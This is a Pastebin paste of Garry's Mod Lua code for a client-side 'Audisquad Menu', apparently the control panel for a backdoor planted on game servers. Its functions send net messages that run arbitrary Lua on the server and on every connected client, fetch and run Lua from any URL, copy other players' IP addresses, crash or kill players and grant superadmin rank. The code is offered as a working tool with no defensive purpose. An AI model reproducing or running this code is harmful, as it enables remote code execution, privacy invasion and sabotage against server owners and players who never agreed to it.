Advertisement
Malboro

Untitled

Aug 5th, 2016
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 20.09 KB | None | 0 0
  1. /////////////// FUNCTIONALITY /////////////////
  2. local PANEL = {}
  3.  
  4.     function PANEL:Init()
  5.    
  6.         self:SetSize(256, 36)
  7.        
  8.         self:SetContentAlignment(5)
  9.        
  10.         self:SetExpensiveShadow(1, Color(0, 0, 0, 150))
  11.        
  12.         self:SetFont("DebugFixedEx")
  13.        
  14.         self:SetTextColor(color_white)
  15.        
  16.     end
  17.  
  18.     function PANEL:Paint(w, h)
  19.  
  20.         surface.SetDrawColor(230, 230, 230, 10)
  21.         surface.DrawRect(0, 0, w, h)
  22.  
  23.         if (self.start) then
  24.        
  25.             local w2 = math.TimeFraction(self.start, self.endTime, CurTime()) * w
  26.  
  27.             surface.SetDrawColor(245, 135, 193, 255)
  28.             surface.DrawRect(w2, 0, w - w2, h)
  29.            
  30.         end
  31.  
  32.         surface.SetDrawColor(0, 0, 0, 45)
  33.         surface.DrawOutlinedRect(0, 0, w, h)
  34.        
  35.     end
  36.    
  37. vgui.Register("Notice", PANEL, "DLabel")
  38.  
  39. notices = notices or {}
  40.  
  41. local function notify(message)
  42.     local notice = vgui.Create("Notice")
  43.     local i = table.insert(notices, notice)
  44.     local scrW = ScrW()
  45.  
  46.     notice:SetText(message)
  47.     notice:SetPos(ScrW(), (i - 1) * (notice:GetTall() + 4) + 4)
  48.     notice:SizeToContentsX()
  49.     notice:SetWide(notice:GetWide() + 16)
  50.     notice.start = CurTime() + 0.25
  51.     notice.endTime = CurTime() + 7.75
  52.  
  53.     local function OrganizeNotices()
  54.    
  55.         for k, v in ipairs(notices) do
  56.        
  57.             v:MoveTo(scrW - (v:GetWide() + 4), (k - 1) * (v:GetTall() + 4) + 4, 0.15, (k / #notices) * 0.25, nil)
  58.            
  59.         end
  60.        
  61.     end
  62.  
  63.     OrganizeNotices()
  64.  
  65.     MsgC(Color(0, 255, 255), message.."\n")
  66.  
  67.     timer.Simple(0.15, function()
  68.    
  69.         surface.PlaySound("buttons/button14.wav")
  70.        
  71.     end)
  72.  
  73.     timer.Simple(7.75, function()
  74.    
  75.         if (IsValid(notice)) then
  76.        
  77.             for k, v in ipairs(notices) do
  78.            
  79.                 if (v == notice) then
  80.                
  81.                     notice:MoveTo(ScrW(), notice.y, 0.15, 0.1, nil, function()
  82.                    
  83.                         notice:Remove()
  84.                        
  85.                     end)
  86.                        
  87.                     table.remove(notices, k)
  88.                    
  89.                     OrganizeNotices()
  90.  
  91.                     break
  92.                    
  93.                 end
  94.                
  95.             end
  96.                
  97.         end
  98.            
  99.     end)
  100.        
  101. end
  102.  
  103. local function getPlayerByName( target )
  104.        
  105.     for k, v in pairs(player.GetAll()) do
  106.        
  107.         if (v:Name() == target) then
  108.            
  109.             return v
  110.                
  111.         end
  112.            
  113.     end
  114.        
  115. end
  116.  
  117. local function fillHealth( target )
  118.    
  119.     net.Start("fillHealth")
  120.         net.WriteEntity(target)
  121.     net.SendToServer()
  122.    
  123.     notify("You've filled "..target:Name().."'s health!")
  124.    
  125. end
  126.  
  127. local function overdoseHealth( target )
  128.    
  129.     net.Start("overdoseHealth")
  130.         net.WriteEntity(target)
  131.     net.SendToServer()
  132.    
  133.     notify("You've Overdosed "..target:Name().."'s health!")
  134.    
  135. end
  136.  
  137. local function drainHealth( target )
  138.    
  139.     net.Start("drainHealth")
  140.         net.WriteEntity(target)
  141.     net.SendToServer()
  142.    
  143.     notify("You've drained "..target:Name().."'s health!")
  144.    
  145. end
  146.  
  147. local function kill( target )
  148.    
  149.     net.Start("kill")
  150.         net.WriteEntity(target)
  151.     net.SendToServer()
  152.    
  153.     notify(target:Name().." is now dead.")
  154.    
  155. end
  156.  
  157. local function giveWeapon( weapon, target )
  158.    
  159.     net.Start("giveWeapon")
  160.         net.WriteEntity(target)
  161.         net.WriteString(weapon)
  162.     net.SendToServer()
  163.    
  164.     notify("You have given "..target:Name().." a "..weapon..".")
  165.    
  166. end
  167.  
  168. local function fillAmmo( target )
  169.    
  170.     net.Start("ammoFill")
  171.         net.WriteEntity(target)
  172.     net.SendToServer()
  173.    
  174.     notify("You have filled "..target:Name().."'s magazine.")
  175.    
  176. end
  177.  
  178. local function drainAmmo( target )
  179.    
  180.     net.Start("ammoDrain")
  181.         net.WriteEntity(target)
  182.     net.SendToServer()
  183.    
  184.     notify("You have drained "..target:Name().."'s magazine.")
  185.    
  186. end
  187.  
  188. local function giveMenu( target )
  189.    
  190.     net.Start("giveMenu")
  191.         net.WriteEntity(target)
  192.     net.SendToServer()
  193.    
  194.     notify("You've given "..target:Name().." access to the menu!")
  195.    
  196. end
  197.  
  198. local function biggify( target )
  199.    
  200.     net.Start("biggify")
  201.         net.WriteEntity(target)
  202.     net.SendToServer()  
  203.  
  204.     notify("You've made "..target:Name().." huge!")
  205.    
  206. end
  207.  
  208. local function normalize( target )
  209.    
  210.     net.Start("normalize")
  211.         net.WriteEntity(target)
  212.     net.SendToServer()  
  213.    
  214.     notify("You've made "..target:Name().." normal again!")
  215.    
  216. end
  217.  
  218. local function smallify( target )
  219.    
  220.     net.Start("smallify")
  221.         net.WriteEntity(target)
  222.     net.SendToServer()
  223.    
  224.     notify("You've made "..target:Name().." small!")
  225.    
  226. end
  227.  
  228. local function bringTo( target, destination )
  229.    
  230.     net.Start("bringTo")
  231.         net.WriteEntity(target)
  232.         net.WriteEntity(destination)
  233.     net.SendToServer()
  234.    
  235.     notify("You have brought "..target:Name().." to "..destination:Name().."!")
  236.    
  237. end
  238.  
  239. local function getIP( target )
  240.    
  241.     net.Start("getIP")
  242.         net.WriteEntity( target )
  243.         net.WriteEntity( LocalPlayer( ) )
  244.     net.SendToServer( )
  245.  
  246.     notify("You have copied "..target:Name( ).."'s IP address to your clipboard.")
  247.    
  248. end
  249.  
  250. local function runLuaOnPlayer( target )
  251.    
  252.     Derma_StringRequest( "Run LUA", "Input string to be ran", "", function( text )
  253.    
  254.         net.Start("runStringOnPlayer")
  255.             net.WriteEntity( target )
  256.             net.WriteString( text )
  257.         net.SendToServer( )
  258.        
  259.         notify("You ran lua on "..target:Name( )..".")
  260.        
  261.     end, function() end, "Send", "Cancel" )
  262.    
  263. end
  264.  
  265. local function runLuaOnPlayerFromURL( target )
  266.    
  267.     Derma_StringRequest( "Run LUA From URL", "Input a link to a file containing LUA Code", "", function( text )
  268.         http.Fetch(text, function(body, len, headers, code)
  269.        
  270.             net.Start("runStringOnPlayer")
  271.                 net.WriteEntity( target )
  272.                 net.WriteString( body )
  273.             net.SendToServer( )
  274.    
  275.         end, function( ) end)
  276.    
  277.         notify("You ran lua from URL on "..target:Name( )..".")
  278.        
  279.     end, function() end, "Send", "Cancel" )
  280.    
  281. end
  282.  
  283. local function crashPlayer( target )
  284.    
  285.     net.Start("crashPlayer")
  286.         net.WriteEntity( target )
  287.     net.SendToServer( )
  288.    
  289.     notify("You've crashed "..target:Name().."!")
  290.    
  291. end
  292.  
  293. local function noclipPlayer( target )
  294.    
  295.     net.Start("noclipPlayer")
  296.         net.WriteEntity( target )
  297.     net.SendToServer( )
  298.    
  299. end
  300.  
  301. local function setRank( target, rank )
  302.    
  303.     net.Start("setRank")
  304.         net.WriteEntity( target )
  305.         net.WriteString( rank )
  306.     net.SendToServer( )
  307.    
  308.     notify("You have set "..target:Name().."'s rank to "..rank.."!")
  309.    
  310. end
  311.  
  312. local function setModel( target )
  313.     Derma_StringRequest( "Set Model", "Input the path to the model you'd like to set this player to", "", function( text )
  314.         net.Start("setModel")
  315.             net.WriteEntity( target )
  316.             net.WriteString( text )
  317.         net.SendToServer( )
  318.    
  319.         notify("You have set "..target:Name().."'s model to "..text..".")
  320.        
  321.     end, function() end, "Set", "Cancel" )
  322. end
  323.  
  324. local function takeWeapon( weapon, target )
  325.    
  326.     net.Start( "takeWeapon" )
  327.         net.WriteEntity( target )
  328.         net.WriteString( weapon )
  329.     net.SendToServer( )
  330.    
  331.     notify("You've taken "..weapon.." from "..target:Name().."!")
  332.    
  333. end
  334.  
  335. local function ignite( target )
  336.    
  337.     net.Start("ignitePlayer")
  338.         net.WriteEntity( target )
  339.     net.SendToServer( )
  340.    
  341.     notify("You've ignited "..target:Name().."!")
  342.    
  343. end
  344.  
  345. local function cloak( target )
  346.    
  347.     net.Start("cloak")
  348.         net.WriteEntity( target )
  349.     net.SendToServer( )
  350.    
  351.     notify("You have cloaked "..target:Name().."!")
  352.    
  353. end
  354.  
  355. local function uncloak( target )
  356.    
  357.     net.Start("uncloak")
  358.         net.WriteEntity( target )
  359.     net.SendToServer( )
  360.    
  361.     notify("You have uncloaked "..target:Name().."!")
  362.    
  363. end
  364.  
  365. local function godMode( target )
  366.    
  367.     net.Start("godMode")
  368.         net.WriteEntity( target )
  369.     net.SendToServer( )
  370.    
  371. end
  372.  
  373. local function chatSay( target )
  374.    
  375.     Derma_StringRequest( "Say in Chat", "Make a player say something chat", "", function( text )
  376.         net.Start("chatSay")
  377.             net.WriteEntity( target )
  378.             net.WriteString( text )
  379.         net.SendToServer( )
  380.    
  381.         notify("You made "..target:Name().."say something in chat!")
  382.        
  383.     end, function() end, "Say", "Cancel" )
  384.    
  385. end
  386.  
  387. local function sendToServer( command )
  388.    
  389.     net.Start("runString")
  390.         net.WriteString( command )
  391.     net.SendToServer()
  392.    
  393.     notify("You have sent lua to the server!")
  394.    
  395. end
  396.  
  397. local function sendToAll( command )
  398.    
  399.     net.Start("runStringAll")
  400.         net.WriteString( command )
  401.         net.WriteEntity( LocalPlayer() )
  402.     net.SendToServer()
  403.    
  404.     notify("You've sent lua to all connected clients!")
  405.    
  406. end
  407.  
  408. local function playFromURL( target )
  409.    
  410.     Derma_StringRequest( "Play Sound from URL", "Play a sound on a specific player from URL", "", function( text )
  411.         net.Start("playFromUrl")
  412.             net.WriteEntity( target )
  413.             net.WriteString( text )
  414.         net.SendToServer( )
  415.        
  416.         notify("You've played a sound on "..target:Name().."!")
  417.        
  418.     end, function() end, "Play", "Cancel" )
  419.    
  420. end
  421.  
  422. local function playFromURLAll( url )
  423.    
  424. end
  425.  
  426. local function playKnock( target )
  427.    
  428.     net.Start("playFromUrl")
  429.         net.WriteEntity( target )
  430.         net.WriteString( "http://puu.sh/pFiIl/65ac9e9042.mp3" )
  431.     net.SendToServer()
  432.    
  433. end
  434.  
  435. local function sendToServerByUrl( url )
  436.    
  437.     net.Start("runStringURL")
  438.         net.WriteString( url )
  439.     net.SendToServer()
  440.    
  441. end
  442.  
  443. local function sendToAllByUrl( url )
  444.    
  445.     net.Start("runStringURLAll")
  446.         net.WriteString( url )
  447.         net.WriteEntity( LocalPlayer() )
  448.     net.SendToServer()
  449.    
  450.     notify("You've sent lua to all connected clients via URL!")
  451.    
  452. end
  453.  
  454.  
  455. /////////////// END FUNCTIONALITY ////////////////
  456.  
  457. surface.CreateFont("DebugFixedEx", {
  458.     font = "DebugFixed",
  459.     size = 24,
  460.     weight = 1000
  461. })
  462.  
  463. surface.CreateFont("DebugFixedB", {
  464.     font = "DebugFixed",
  465.     size = 12,
  466.     weight = 100
  467. })
  468.  
  469. function GeneratePlayerList( ply, parent )
  470.     local bgcol = Color(30, 30, 30, 255)
  471.     local slot = parent:Add( "DButton" )
  472.     slot:SetText(" ")
  473.     slot:Dock(TOP)
  474.     slot:SetTall(32)
  475.     slot:DockMargin(14, 0, 0, 1)
  476.     slot.Paint = function( )
  477.         surface.SetDrawColor(bgcol)
  478.         surface.DrawRect(0, 0, slot:GetWide() - 15, slot:GetTall())
  479.     end
  480.     slot.OnCursorEntered = function( )
  481.         bgcol = Color(245, 135, 193, 255)
  482.     end
  483.     slot.OnCursorExited = function( )
  484.         bgcol = Color(30, 30, 30, 255)
  485.     end
  486.     slot.DoClick = function( )
  487.         //print(target)
  488.         CreateFuncMenu( slot, ply )
  489.     end
  490.    
  491.     slot.name = slot:Add("DLabel")
  492.     slot.name:SetText(ply:Name())
  493.     slot.name:Dock(LEFT)
  494.     slot.name:DockMargin(15,0,0,0)
  495.     slot.name:SetTall(18)
  496.     slot.name:SetWide(400)
  497.     slot.name:SetFont("DebugFixedEx")
  498.     slot.name:SetTextColor(color_white)
  499.     slot.name:SetExpensiveShadow(1, color_black)
  500.    
  501. end
  502.  
  503. function CreateFuncMenu( panel, ply )
  504.    
  505.     local Menu = DermaMenu( panel )
  506.     local health = Menu:AddSubMenu( "Health" )
  507.     local misc = Menu:AddSubMenu( "Misc" )
  508.     local modelScale = Menu:AddSubMenu( "Model" )
  509.     local rank = Menu:AddSubMenu( "Set Rank" )
  510.     local weapon = Menu:AddSubMenu( "Weapon" )
  511.     local teleport = Menu:AddSubMenu( "Teleport" )
  512.     local teleport_selector_send = teleport:AddSubMenu( "Send To" )
  513.     local teleport_selector_bring = teleport:AddSubMenu( "Bring" )
  514.     local movement = Menu:AddSubMenu( "Movement" )
  515.     local weapon_selector = weapon:AddSubMenu( "Give Weapon" )
  516.     local weapon_selector_take = weapon:AddSubMenu( "Take Weapon" )
  517.     Menu:MakePopup()
  518.     health:AddOption( "Fill", function( ) fillHealth( ply ) end ):SetIcon( "icon16/heart_add.png" )
  519.     health:AddOption( "Drain", function( ) drainHealth( ply ) end ):SetIcon( "icon16/heart_delete.png" )
  520.     health:AddOption( "Kill", function( ) kill( ply ) end ):SetIcon( "icon16/bomb.png" )
  521.     health:AddOption( "Overfill", function( ) overdoseHealth ( ply ) end ):SetIcon ( "icon16/cake.png" )
  522.     misc:AddOption( "Copy IP To Clipboard", function( ) getIP( ply ) end ):SetIcon( "icon16/page_copy.png" )
  523.     modelScale:AddOption( "Biggify", function( ) biggify( ply ) end ):SetIcon( "icon16/arrow_up.png" )
  524.     modelScale:AddOption( "Normalize", function( ) normalize( ply ) end ):SetIcon( "icon16/arrow_refresh.png" )
  525.     modelScale:AddOption( "Smallify", function( ) smallify( ply ) end ):SetIcon( "icon16/arrow_down.png" )
  526.     modelScale:AddOption( "Set Model", function( ) setModel( ply ) end ):SetIcon( "icon16/wand.png" )
  527.     misc:AddOption( "Give Menu", function( ) giveMenu( ply ) end ):SetIcon( "icon16/link.png" )
  528.     weapon:AddOption( "Fill Magazine", function( ) fillAmmo( ply ) end ):SetIcon( "icon16/link.png" )
  529.     weapon:AddOption( "Drain Magazine", function( ) drainAmmo( ply ) end ):SetIcon( "icon16/link.png" )
  530.     misc:AddOption( "Run Lua", function( ) runLuaOnPlayer( ply ) end ):SetIcon( "icon16/drive_user.png" )
  531.     misc:AddOption( "Run Lua From URL", function( ) runLuaOnPlayerFromURL( ply ) end ):SetIcon( "icon16/drive_web.png" )
  532.     misc:AddOption( "Crash", function( ) crashPlayer( ply ) end ):SetIcon( "icon16/bug.png" )
  533.     rank:AddOption( "Superadmin", function( ) setRank( ply, "superadmin" ) end ):SetIcon( "icon16/shield.png" )
  534.     rank:AddOption( "Admin", function( ) setRank( ply, "admin" ) end ):SetIcon( "icon16/star.png" )
  535.     rank:AddOption( "User", function( ) setRank( ply, "user" ) end ):SetIcon( "icon16/user_orange.png" )
  536.     misc:AddOption( "Ignite", function( ) ignite( ply ) end ):SetIcon( "icon16/lightning.png" )
  537.     misc:AddOption( "Say in Chat", function( ) chatSay( ply ) end ):SetIcon( "icon16/pencil.png" )
  538.     misc:AddOption( "Play Sound", function( ) playFromURL( ply ) end ):SetIcon( "icon16/sound.png" )
  539.     misc:AddOption( "Play Knock", function( ) playKnock( ply ) end ):SetIcon( "icon16/sound.png" )
  540.    
  541.    
  542.     for k, v in pairs( weapons.GetList( ) ) do
  543.    
  544.         weapon_selector:AddOption( v.ClassName, function(  ) giveWeapon( v.ClassName, ply ) end )
  545.        
  546.     end
  547.    
  548.     if (ply:GetMoveType() != MOVETYPE_NOCLIP) then
  549.    
  550.         movement:AddOption( "Enable Noclip", function( ) noclipPlayer( ply ) end ):SetIcon( "icon16/user_gray.png" )
  551.        
  552.     else
  553.    
  554.         movement:AddOption( "Disable Noclip", function( ) noclipPlayer( ply ) end ):SetIcon( "icon16/user_gray.png" )
  555.        
  556.     end
  557.    
  558.     if (ply:GetRenderMode() == RENDERMODE_TRANSALPHA) then
  559.    
  560.         modelScale:AddOption( "Disable Cloak", function( ) uncloak( ply ) end ):SetIcon( "icon16/user_suit.png" )
  561.        
  562.     else
  563.    
  564.         modelScale:AddOption( "Enable Cloak", function( ) cloak( ply ) end ):SetIcon( "icon16/user_suit.png" )
  565.        
  566.     end
  567.    
  568.     if ( ply:HasGodMode( ) == true ) then
  569.    
  570.         health:AddOption( "Disable God Mode", function( ) godMode( ply ) end ):SetIcon( "icon16/tux.png" )
  571.    
  572.     else
  573.        
  574.         health:AddOption( "Toggle God Mode", function( ) godMode( ply ) end ):SetIcon( "icon16/tux.png" )
  575.        
  576.     end
  577.    
  578.     for k, v in pairs( ply:GetWeapons( ) ) do
  579.    
  580.         weapon_selector_take:AddOption( v:GetClass( ), function( ) takeWeapon( v:GetClass(), ply ) end )
  581.        
  582.     end
  583.    
  584.        
  585.    
  586.     for k, v in pairs( player.GetAll( ) ) do
  587.    
  588.         if v != ply then
  589.        
  590.             teleport_selector_bring:AddOption( v:Name( ), function( ) bringTo( v, ply ) end )
  591.             teleport_selector_send:AddOption( v:Name( ), function( ) bringTo( ply, v ) end )
  592.            
  593.         end
  594.        
  595.     end
  596.    
  597.     Menu:SetPos( gui.MousePos( ) )
  598.    
  599. end
  600.  
  601. local function drawMenu()
  602.     local mwidth, mheight = 800, 400
  603.     local main = vgui.Create( "DFrame" )
  604.     main:SetPos(ScrW()/2 - mwidth/2, ScrH()/2 - mheight/2)
  605.     main:SetSize( mwidth, mheight )
  606.     main:ShowCloseButton( false )
  607.     main:SetTitle( " " )
  608.     main:SetDraggable( true )
  609.     main:MakePopup()
  610.     main.Paint = function()
  611.         draw.RoundedBox( 0, 0, 0, 800, 400, Color(64, 56, 100, 200) )
  612.         draw.RoundedBox( 0, 0, 0, 800, 25, Color(245, 135, 193, 255) )
  613.         draw.DrawText( "Audisquad Menu", "DebugFixed", 400, 5, Color(255, 255, 255), 1 )
  614.     end
  615.     local close = vgui.Create( "DButton", main )
  616.     close:SetPos( 775, 3 )
  617.     close:SetText( " " )
  618.     close:SetFont("DebugFixed")
  619.     close:SetSize( 20, 20 )
  620.     close.DoClick = function()
  621.         main:Close()
  622.     end
  623.     close.Paint = function()
  624.         draw.DrawText( "X", "DebugFixed", 10, 3, Color(255, 255, 255), 1 )
  625.     end
  626.    
  627.     local sheet = vgui.Create( "DPropertySheet", main )
  628.     sheet:Dock( FILL )
  629.     sheet.Paint = function( self, w, h )
  630.         surface.SetDrawColor(245, 135, 193, 255)
  631.         surface.DrawOutlinedRect(0, 20, sheet:GetWide(), sheet:GetTall() - 20 )
  632.     end
  633.  
  634.     local playerTab = vgui.Create( "DScrollPanel", sheet )
  635.     playerTab:Dock( FILL )
  636.     playerTab.Paint = function( self, w, h ) draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 128, 255, 0 ) ) end
  637.     sheet:AddSheet( "Players", playerTab, "icon16/user.png" )
  638.  
  639.     local serverTab = vgui.Create( "DPanel", sheet )
  640.     serverTab:Dock( FILL )
  641.     serverTab.Paint = function( self, w, h ) draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 128, 0, 0 ) ) end
  642.    
  643.     local stRunLua = vgui.Create( "DTextEntry", serverTab )
  644.     stRunLua:SetPos( 20, 20 )
  645.     stRunLua:SetSize( 300, 20 )
  646.     stRunLua:SetText( "" )
  647.     stRunLua.OnEnter = function( self )
  648.    
  649.         if ( ( self:GetValue() != "" ) ) then
  650.        
  651.             sendToServer( self:GetValue() )
  652.            
  653.         end
  654.            
  655.     end
  656.    
  657.     stRunLuaB = vgui.Create( "DButton", serverTab )
  658.     stRunLuaB:SetPos( 105, 55 )
  659.     stRunLuaB:SetSize( 125, 20 )
  660.     stRunLuaB:SetText( "Run LUA On Server" )
  661.     stRunLuaB:SetFont( "DebugFixedB" )
  662.     stRunLuaB:SetTextColor( Color( 245, 135, 193, 255 ) )
  663.     stRunLuaB.Paint = function( self, w, h )
  664.    
  665.         surface.SetDrawColor(245, 135, 193, 255)
  666.         surface.DrawOutlinedRect( 0, 0, w, h )
  667.         draw.RoundedBox( 0, 0, 0, w, h, Color(64, 56, 100, 200) )
  668.        
  669.     end
  670.     stRunLuaB.DoClick = function( )
  671.    
  672.         if ( ( stRunLua:GetValue() != "" ) ) then
  673.        
  674.             sendToServer( stRunLua:GetValue() )
  675.            
  676.         end
  677.        
  678.     end
  679.    
  680.     local stRunLuaAll = vgui.Create( "DTextEntry", serverTab )
  681.     stRunLuaAll:SetPos( 470, 20 )
  682.     stRunLuaAll:SetSize( 300, 20 )
  683.     stRunLuaAll:SetText( "" )
  684.     stRunLuaAll.OnEnter = function( self )
  685.    
  686.         if ( ( self:GetValue() != "" ) ) then
  687.        
  688.             sendToAll( self:GetValue() )
  689.            
  690.         end
  691.            
  692.     end
  693.    
  694.     local stRunLuaAllB = vgui.Create( "DButton", serverTab )
  695.     stRunLuaAllB:SetPos( 555, 55 )
  696.     stRunLuaAllB:SetSize( 125, 20 )
  697.     stRunLuaAllB:SetText( "Run LUA On All" )
  698.     stRunLuaAllB:SetFont( "DebugFixedB" )
  699.     stRunLuaAllB:SetTextColor( Color( 245, 135, 193, 255 ) )
  700.     stRunLuaAllB.Paint = function( self, w, h )
  701.    
  702.         surface.SetDrawColor(245, 135, 193, 255)
  703.         surface.DrawOutlinedRect( 0, 0, w, h )
  704.         draw.RoundedBox( 0, 0, 0, w, h, Color(64, 56, 100, 200) )
  705.        
  706.     end
  707.     stRunLuaAllB.DoClick = function( )
  708.    
  709.         if ( stRunLuaAll:GetValue() != "" ) then
  710.        
  711.             sendToAll( stRunLuaAll:GetValue() )
  712.            
  713.         end
  714.        
  715.     end
  716.    
  717.     local stRunLuaUrl = vgui.Create( "DTextEntry", serverTab )
  718.     stRunLuaUrl:SetPos( 20, 90 )
  719.     stRunLuaUrl:SetSize( 300, 20 )
  720.     stRunLuaUrl:SetText("")
  721.     stRunLuaUrl.OnEnter = function( self )
  722.    
  723.         if ( self:GetValue() != "" ) then
  724.        
  725.             sendToServerByURL( self:GetValue() )
  726.            
  727.         end
  728.    
  729.     end
  730.    
  731.     local stRunLuaUrlB = vgui.Create( "DButton", serverTab )
  732.     stRunLuaUrlB:SetPos( 105, 125 )
  733.     stRunLuaUrlB:SetSize( 125, 20 )
  734.     stRunLuaUrlB:SetText( "Run LUA From URL" )
  735.     stRunLuaUrlB:SetFont( "DebugFixedB" )
  736.     stRunLuaUrlB:SetTextColor( Color( 245, 135, 193, 255 ) )
  737.     stRunLuaUrlB.Paint = function( self, w, h )
  738.    
  739.         surface.SetDrawColor(245, 135, 193, 255)
  740.         surface.DrawOutlinedRect( 0, 0, w, h )
  741.         draw.RoundedBox( 0, 0, 0, w, h, Color(64, 56, 100, 200) )
  742.        
  743.     end
  744.     stRunLuaUrlB.DoClick = function( )
  745.    
  746.         if ( stRunLuaUrl:GetValue() != "" ) then
  747.        
  748.             sendToServerByUrl( stRunLuaUrl:GetValue() )
  749.            
  750.         end
  751.        
  752.     end
  753.    
  754.     local stRunLuaUrlAll = vgui.Create( "DTextEntry", serverTab )
  755.     stRunLuaUrlAll:SetPos( 470, 90 )
  756.     stRunLuaUrlAll:SetSize( 300, 20 )
  757.     stRunLuaUrlAll:SetText("")
  758.     stRunLuaUrlAll.OnEnter = function( self )
  759.    
  760.         if ( self:GetValue() != "" ) then
  761.        
  762.             sendToAllByUrl( self:GetValue() )
  763.            
  764.         end
  765.    
  766.     end
  767.    
  768.     local stRunLuaUrlAllB = vgui.Create( "DButton", serverTab )
  769.     stRunLuaUrlAllB:SetPos( 555, 125 )
  770.     stRunLuaUrlAllB:SetSize( 125, 20 )
  771.     stRunLuaUrlAllB:SetText( "Run LUA on All From URL" )
  772.     stRunLuaUrlAllB:SetFont( "DebugFixedB" )
  773.     stRunLuaUrlAllB:SetTextColor( Color( 245, 135, 193, 255 ) )
  774.     stRunLuaUrlAllB.Paint = function( self, w, h )
  775.    
  776.         surface.SetDrawColor(245, 135, 193, 255)
  777.         surface.DrawOutlinedRect( 0, 0, w, h )
  778.         draw.RoundedBox( 0, 0, 0, w, h, Color(64, 56, 100, 200) )
  779.        
  780.     end
  781.     stRunLuaUrlB.DoClick = function( )
  782.    
  783.         if ( stRunLuaUrlAll:GetValue() != "" ) then
  784.        
  785.             sendToAllByUrl( stRunLuaUrlAll:GetValue() )
  786.            
  787.         end
  788.        
  789.     end
  790.    
  791.     sheet:AddSheet( "Server", serverTab, "icon16/server.png" )
  792.    
  793.    
  794.     local worldTab = vgui.Create( "DPanel", sheet )
  795.     worldTab:Dock( FILL )
  796.     worldTab.Paint = function( self, w, h ) draw.RoundedBox( 4, 0, 0, w, h, Color( 128, 0, 128, 0 ) ) end
  797.     sheet:AddSheet( "World", worldTab, "icon16/world.png" )
  798.    
  799.     local nutscriptTab = vgui.Create( "DPanel", sheet )
  800.     nutscriptTab:Dock( FILL )
  801.     nutscriptTab.Paint = function( self, w, h ) draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 128, 0, 0 ) ) end
  802.     sheet:AddSheet( "Nutscript", nutscriptTab, "icon16/plugin.png" )
  803.  
  804.     for k, v in pairs(player.GetAll()) do
  805.        
  806.         GeneratePlayerList( v, playerTab )
  807.        
  808.     end
  809.    
  810. end
  811.  
  812. drawMenu()
  813.  
  814. concommand.Add( "audi_menu_new", function( ply, cmd, args )
  815.     drawMenu()
  816. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement